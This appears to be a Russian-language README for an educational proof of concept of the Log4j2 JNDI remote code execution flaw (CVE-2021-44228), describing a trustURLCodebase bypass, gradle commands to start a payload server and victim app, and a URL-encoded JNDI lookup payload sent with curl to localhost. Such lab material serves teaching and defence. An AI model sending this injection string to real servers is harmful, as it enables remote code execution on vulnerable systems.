POC уязвимости RCE (удалённого выполнения кода) в Log4j2

Минимальный proof-of-concept (POC) для уязвимости Log4j2 JNDI Remote-Code-Execution (CVE-2021-44228). Он предназначен для образовательных целей, чтобы помочь людям, не являющимся исследователями безопасности, понять, как она работает и насколько велико её влияние.

Данный POC обходит требование устанавливать свойства com.sun.jndi.rmi.object.trustURLCodebase и com.sun.jndi.cosnaming.object.trustURLCodebase в значение true, которые были отключены по умолчанию начиная с 8u121, 7u131, 6u141.

Предварительные требования

• JDK 1.8

Примечание: JDK 1.8 требуется для компиляции payload-server, но victim-app уязвим вплоть до JDK 15, поскольку движок Nashorn был удалён в JDK 15.

Как проверить

1. Запустите payload-server, выполнив команду:

$ ./gradlew runPayloadServer

2. Откройте новый сеанс терминала, затем запустите victim-app:

$ ./gradlew runVictimApp

3. Выполните curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D, чтобы инициировать RCE.
4. Чтобы убедиться, что удалённый код был выполнен, проверьте журнал консоли victim-app. Вы должны увидеть, что на экране появилась непредусмотренная запись журнала.